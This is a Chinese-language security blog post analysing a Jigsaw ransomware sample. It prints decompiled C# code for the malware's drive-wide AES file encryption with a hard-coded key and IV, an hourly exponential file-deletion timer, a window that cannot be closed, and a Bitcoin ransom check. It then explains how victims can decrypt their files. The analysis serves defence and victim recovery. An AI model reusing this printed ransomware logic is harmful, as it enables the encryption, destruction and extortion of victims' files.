Jigsaw勒索软件分析

VSole2022-06-08 06:58:00

近期通过团队威胁情报监控发现浏览安全情报[1]是一个勒索软件,会把握受害人心理,一点一点删除文件来威胁受害者。于是找到个样本分析。

样本信息

来源: app.any.run

md5: 2773e3dc59472296cb0024ba7715a64e

文件名: jigsaw.bin

执行情况

初步分析

使用exeinfope加载,得到

加了ConfuseEx壳,去Google看看有没已有的壳,找到了[2],下载下来,执行脱壳操作

> ConfuserEx-Unpacker-v2.0\bin\ConfuserEx-Unpacker.exe jigsaw.bin\jigsaw.bin

主函数分析

主函数new了一个FormBackground,初始化参数后调用this.InitializeComponent();

private void InitializeComponent()
  {
   this.components = new Container();
   this.timerActivateChecker = new Timer(this.components);
   base.SuspendLayout();
   this.timerActivateChecker.Enabled = true;
   this.timerActivateChecker.Tick += this.timerActivateChecker_Tick;
   base.AutoScaleDimensions = new SizeF(6f, 13f);
   base.AutoScaleMode = AutoScaleMode.Font;
   base.ClientSize = new Size(284, 262);
   base.Name = "FormBackground";
   this.Text = "Form1";
   base.ResumeLayout(false);
  }

首先设置一个计时器,定期调用timerActivateChecker_Tick方法,并且设置标题和名称后恢复显示

定时方法分析

private void timerActivateChecker_Tick(object sender, EventArgs e)
  {
   if (Config.Activated)
   {
    return;
   }
   if (!Hacking.ShouldActivate())
   {
    return;
   }
   Config.Activated = true;
   Locker.EncryptFileSystem();
   new FormGame().Show(this);
  }

首先检查Activated防止重复执行,然后加密文件系统,并显示FormGame

加密分析

internal static void EncryptFileSystem()
  {
   HashSet<string> extensionsToEncrypt = new HashSet<string>(Locker.GetExtensionsToEncrypt());
   foreach (string dirPath in from drive in DriveInfo.GetDrives()
   select drive.RootDirectory.FullName)
   {
    Locker.EncryptFiles(dirPath, ".fun", extensionsToEncrypt);
   }
   if (!File.Exists(Locker.EncryptedFileListPath))
   {
    string[] contents = Locker.EncryptedFiles.ToArray<string>();
    File.WriteAllLines(Locker.EncryptedFileListPath, contents);
   }
  }

首先设置要加密的文件扩展名,这些内容写在资源文件中,包括如下

.jpg .jpeg .raw .tif .gif .png .bmp\r.3dm .max\r.accdb .db .dbf .mdb .pdb .sql\r.dwg .dxf\r.c .cpp .cs .h .php .asp .rb .java .jar .class .py .js\r.aaf .aep .aepx .plb .prel .prproj .aet .ppj .psd .indd .indl .indt .indb .inx .idml .pmd .xqx .xqx .ai .eps .ps .svg .swf .fla .as3 .as\r.txt .doc .dot .docx .docm .dotx .dotm .docb .rtf .wpd .wps .msg .pdf .xls .xlt .xlm .xlsx .xlsm .xltx .xltm .xlsb .xla .xlam .xll .xlw .ppt .pot .pps .pptx .pptm .potx .potm .ppam .ppsx .ppsm .sldx .sldm\r.wav .mp3 .aif .iff .m3u .m4u .mid .mpa .wma .ra .avi .mov .mp4 .3gp .mpeg .3g2 .asf .asx .flv .mpg .wmv .vob .m3u8\r.dat .csv .efx .sdf .vcf .xml .ses\r.Qbw .QBB .QBM .QBI .QBR  \r.Cnt .Des .v30 .Qbo .Ini .Lgb .Qwc .Qbp .Aif .Qba .Tlg .Qbx .Qby  \r.1pa .Qpd .Txt .Set .Iif  \r.Nd .Rtp .Tlg .Wav .Qsm .Qss .Qst .Fx0 .Fx1 .Mx0 .FPx .Fxr .Fim .ptb .Ai .Pfb .Cgn .Vsd .Cdr .Cmx .Cpt .Csl .Cur .Des .Dsf .Ds4\r .Drw .Dwg.Eps .Ps .Prn .Gif .Pcd .Pct .Pcx .Plt .Rif .Svg .Swf .Tga .Tiff .Psp .Ttf .Wpd .Wpg .Wi .Raw .Wmf .Txt .Cal .Cpx .Shw .Clk .Cdx .Cdt .Fpx .Fmv .Img .Gem .Xcf .Pic .Mac .Met \r.PP4 .Pp5 .Ppf .Xls .Xlsx .Xlsm .Ppt .Nap .Pat .Ps .Prn .Sct .Vsd .wk3 .wk4 .XPM .zip .rar

然后枚举文件并加密

private static void EncryptFiles(string dirPath, string encryptionExtension, HashSet<string> extensionsToEncrypt)
  {
   IEnumerable<string> files = Locker.GetFiles(dirPath);
   Func<string, IEnumerable<string>> <>9__0;
   Func<string, IEnumerable<string>> collectionSelector;
   if ((collectionSelector = <>9__0) == null)
   {
    collectionSelector = (<>9__0 = ((string file) => extensionsToEncrypt));
   }
   foreach (string text in from <>h__TransparentIdentifier0 in files.SelectMany(collectionSelector, (string file, string ext) => new
   {
    file,
    ext
   })
   where <>h__TransparentIdentifier0.file.EndsWith(<>h__TransparentIdentifier0.ext)
   select <>h__TransparentIdentifier0.file into file
   select new
   {
    file = file,
    fi = new FileInfo(file)
   } into t
   where t.fi.Length < 10000000L
   select t.file)
   {
    try
    {
     if (Locker.EncryptFile(text, encryptionExtension))
     {
      Locker.EncryptedFiles.Add(text);
     }
    }
    catch{}
   }
  }

加密时还考虑到了文件大小不大于10000000字节,加密后的文件扩展名为.fun,加密成果后会添加到文件列表中

private static bool EncryptFile(string path, string encryptionExtension)
  {
   try
   {
    if (Config.StartMode != Config.StartModeType.Debug && (path.StartsWith(Config.WorkFolderPath, StringComparison.InvariantCulture) || path.StartsWith("C:\\Windows", StringComparison.InvariantCultureIgnoreCase)))
    {
     return false;
    }
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
    {
     aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
     aesCryptoServiceProvider.IV = new byte[]
     {0,1,0,3,5,3,0,1,0,0,2,0,6,7,6,0
     };
     Locker.EncryptFile(aesCryptoServiceProvider, path, path + encryptionExtension);
    }
   }
   catch
   {
    return false;
   }
   try
   {
    File.Delete(path);
   }
   catch (Exception)
   {
    return false;
   }
   return true;
  }

实际加密使用AES算法,但是对于程序自身目录不加密,Windows目录不加密。但是加密的key和IV是固定的,所以文件可以解密。

另外下面还有个解密函数

private static void DecryptFile(string path, string encryptionExtension)
  {
   try
   {
    if (!path.EndsWith(encryptionExtension))
    {
     return;
    }
    string outputFile = path.Remove(path.Length - 4);
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
    {
     aesCryptoServiceProvider.Key = Convert.FromBase64String("OoIsAwwF23cICQoLDA0ODe==");
     aesCryptoServiceProvider.IV = new byte[]
     {//...
     };
     Locker.DecryptFile(aesCryptoServiceProvider, path, outputFile);
    }//...
  }

回到Main.Tools.Locker类,加密之后会将文件列表保存在Workdir\EncryptedFileList.txt

FormGame分析

构造函数调用了一个方法

private void InitializeComponent()
  {
   this.components = new Container();
   this.labelWelcome = new Label();
   this.timerTypingEffect = new Timer(this.components);
   this.labelTask = new Label();
   this.textBoxAddress = new TextBox();
   this.buttonCheckPayment = new Button();
   this.buttonViewEncryptedFiles = new Button();
   this.timerCountDown = new Timer(this.components);
   this.labelCountDown = new Label();
   this.labelFilesToDelete = new Label();
   base.SuspendLayout();
   this.labelWelcome.AutoSize = true;
   this.labelWelcome.BackColor = Color.Black;
   this.labelWelcome.Font = new Font("Lucida Console", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
   this.labelWelcome.ForeColor = Color.Lime;
   this.labelWelcome.Location = new Point(25, 29);
   this.labelWelcome.Name = "labelWelcome";
   this.labelWelcome.Size = new Size(218, 16);
   this.labelWelcome.TabIndex = 0;
   this.labelWelcome.Text = "I want to play a game";
   this.timerTypingEffect.Tick += this.timerTypingEffect_Tick;
   this.labelTask.AutoSize = true;
   this.labelTask.BackColor = Color.Black;
   this.labelTask.Font = new Font("Lucida Console", 12f, FontStyle.Bold, GraphicsUnit.Point, 0);
   this.labelTask.ForeColor = Color.Lime;
   this.labelTask.Location = new Point(25, 505);
   this.labelTask.Name = "labelTask";
   this.labelTask.Size = new Size(239, 16);
   this.labelTask.TabIndex = 1;
   this.labelTask.Text = "All you have to do...";
   this.textBoxAddress.Location = new Point(28, 524);
   this.textBoxAddress.Name = "textBoxAddress";
   this.textBoxAddress.Size = new Size(348, 20);
   this.textBoxAddress.TabIndex = 2;
   this.textBoxAddress.Text = "12Xspzstah37626slkwKhsKSHA";
   this.buttonCheckPayment.BackColor = Color.Gold;
   this.buttonCheckPayment.Location = new Point(28, 551);
   this.buttonCheckPayment.Name = "buttonCheckPayment";
   this.buttonCheckPayment.Size = new Size(348, 33);
   this.buttonCheckPayment.TabIndex = 3;
   this.buttonCheckPayment.Text = "I made a payment, now give me back my files!";
   this.buttonCheckPayment.UseVisualStyleBackColor = false;
   this.buttonCheckPayment.Click += this.buttonCheckPayment_Click;
   this.buttonViewEncryptedFiles.BackColor = Color.Gray;
   this.buttonViewEncryptedFiles.Location = new Point(28, 479);
   this.buttonViewEncryptedFiles.Name = "buttonViewEncryptedFiles";
   this.buttonViewEncryptedFiles.Size = new Size(348, 23);
   this.buttonViewEncryptedFiles.TabIndex = 4;
   this.buttonViewEncryptedFiles.Text = "View encrypted files";
   this.buttonViewEncryptedFiles.UseVisualStyleBackColor = false;
   this.buttonViewEncryptedFiles.Click += this.buttonViewEncryptedFiles_Click;
   this.timerCountDown.Interval = 1000;
   this.timerCountDown.Tick += this.timerCountDown_Tick;
   this.labelCountDown.AutoSize = true;
   this.labelCountDown.BackColor = Color.Black;
   this.labelCountDown.BorderStyle = BorderStyle.Fixed3D;
   this.labelCountDown.Font = new Font("Lucida Sans Unicode", 48f, FontStyle.Bold, GraphicsUnit.Point, 0);
   this.labelCountDown.ForeColor = Color.DarkRed;
   this.labelCountDown.Location = new Point(28, 320);
   this.labelCountDown.Name = "labelCountDown";
   this.labelCountDown.Size = new Size(220, 80);
   this.labelCountDown.TabIndex = 5;
   this.labelCountDown.Text = "59:59";
   this.labelFilesToDelete.AutoSize = true;
   this.labelFilesToDelete.BackColor = Color.Black;
   this.labelFilesToDelete.Font = new Font("Lucida Console", 12f, FontStyle.Bold);
   this.labelFilesToDelete.ForeColor = Color.Lime;
   this.labelFilesToDelete.Location = new Point(24, 455);
   this.labelFilesToDelete.Name = "labelFilesToDelete";
   this.labelFilesToDelete.Size = new Size(261, 16);
   this.labelFilesToDelete.TabIndex = 6;
   this.labelFilesToDelete.Text = "1 file will be deleted.";
   base.AutoScaleDimensions = new SizeF(6f, 13f);
   base.AutoScaleMode = AutoScaleMode.Font;
   this.BackgroundImage = Resources.Jigsaw;
   base.ClientSize = new Size(840, 596);
   base.Controls.Add(this.labelFilesToDelete);
   base.Controls.Add(this.labelCountDown);
   base.Controls.Add(this.buttonViewEncryptedFiles);
   base.Controls.Add(this.buttonCheckPayment);
   base.Controls.Add(this.textBoxAddress);
   base.Controls.Add(this.labelTask);
   base.Controls.Add(this.labelWelcome);
   base.Name = "FormGame";
   base.FormClosing += this.FormGame_FormClosing;
   base.Load += this.FormGame_Load;
   base.ResumeLayout(false);
   base.PerformLayout();
  }

主要有一下要素

  • 收款钱包地址12Xspzstah37626slkwKhsKSHA。需要注意的是这里的地址并不是最终地址,而是为了可扩展性放在Config类中的地址
  • 设置了一下查看文件列表的监听器
  • 设置了一个计时器timerCountDown_Tick
  • 设置了窗口关闭时的监听器FormGame_FormClosing
  • 设置了Load的监听器FormGame_Load
  • 设置了支付检查按钮buttonCheckPayment_Click

计时器方法分析

private void timerCountDown_Tick(object sender, EventArgs e)
  {
   if (FormGame._timeLeftSec > 0)
   {
    FormGame._timeLeftSec--;
    int num = FormGame._timeLeftSec / 60;
    int num2 = FormGame._timeLeftSec % 60;
    this.labelCountDown.Text = num + ":" + num2;
    return;
   }
   FormGame._timeLeftSec = 3600;
   int num3 = (int)Math.Pow(1.1, (double)FormGame._exponent);
   this.labelFilesToDelete.Text = num3 + " files will be deleted";
   FormGame._exponent++;
   FormGame.DeleteFiles(num3);
  }

每隔一小时删除一定数量的文件,删除的文件数量为以1.1为底呈指数增长的数字。

随着时间的推移,受害者的越来越多的文件会被删除,多少有点杀人诛心了。

窗口关闭监听器分析

private void FormGame_FormClosing(object sender, FormClosingEventArgs e)
  {
   e.Cancel = true;
   MessageBox.Show(this, "You are about to make a very bad decision. Are you sure about it?");
  }

禁止关闭窗口,并显示一个有警告意味的弹窗

FormGame_Load分析

private void FormGame_Load(object sender, EventArgs e)
  {
   base.MaximizeBox = false;
   base.MinimizeBox = false;
   base.StartPosition = FormStartPosition.CenterScreen;
   Windows.MakeTopMost(this);
   this.timerTypingEffect.Interval = 125;
   this.timerTypingEffect.Enabled = true;
   this.labelWelcome.Text = "";
   this.labelTask.Text = Config.TaskMessage;
   this.labelTask.Visible = false;
   this.textBoxAddress.ReadOnly = true;
   this.textBoxAddress.Text = FormGame.GetBitcoinAddess();
   this.textBoxAddress.Visible = false;
   this.buttonCheckPayment.Visible = false;
   this.buttonViewEncryptedFiles.Visible = false;
   this.labelCountDown.Visible = false;
   this.timerCountDown.Enabled = false;
   this.labelFilesToDelete.Visible = false;
   if (FormGame.DidRun())
   {
    FormGame.DeleteFiles(1000);
   }
  }

禁用最大化、最小化、关闭按钮,并且如果已经运行了

private static bool DidRun()
  {
   string path = Path.Combine(Config.WorkFolderPath, "dr");
   if (File.Exists(path))
   {
    return true;
   }
   File.WriteAllText(path, "21");
   return false;
  }

就删除文件。可以看到病毒是以工作目录下的dr文件确认是否已经运行的

buttonCheckPayment_Click支付检查按钮分析

private void buttonCheckPayment_Click(object sender, EventArgs e)
  {
   try
   {
    double price = Blockr.GetPrice();
    int num = (int)(Blockr.GetBalanceBtc(FormGame.GetBitcoinAddess()) * price);
    if (num > Config.RansomUsd)
    {
     this.timerCountDown.Stop();
     this.buttonCheckPayment.Enabled = false;
     this.buttonCheckPayment.BackColor = Color.Lime;
     this.buttonCheckPayment.Text = "Great job, I'm decrypting your files...";
     MessageBox.Show(this, "Decrypting your files. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
     Locker.DecryptFiles(".fun");
     Hacking.RemoveItself();
    }
    else if (num > 0)
    {
     this.buttonCheckPayment.BackColor = Color.Tomato;
     this.buttonCheckPayment.Text = "You did not sent me enough! Try again!";
    }
    else
    {
     this.buttonCheckPayment.BackColor = Color.Tomato;
     this.buttonCheckPayment.Text = "You haven't made payment yet! Try again!";
    }
   }
   catch (Exception ex)
   {
    MessageBox.Show(ex.ToString());
    this.buttonCheckPayment.Text = "Are you connected to the internet? Try again!";
    this.buttonCheckPayment.BackColor = Color.Tomato;
   }
  }

检查钱包中的比特币换算成美元是否达到要求的数值,如果已经支付就解密文件。

总结

总体来说病毒逻辑不算困难,但是会拿捏人的心理,一点一点删除受害者的文件,让受害者逐步崩溃。根据[1],该勒索软件可能是医生开发,可以说非常专业了。

如果中招了不要慌,立即拔除电源并重启,使用文件中的密钥和IV解密即可。即使有部分文件删除了,也可以尝试通过磁盘恢复工具恢复。当然,保险的方法当然是另找一台计算机,放上磁盘后解密。

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家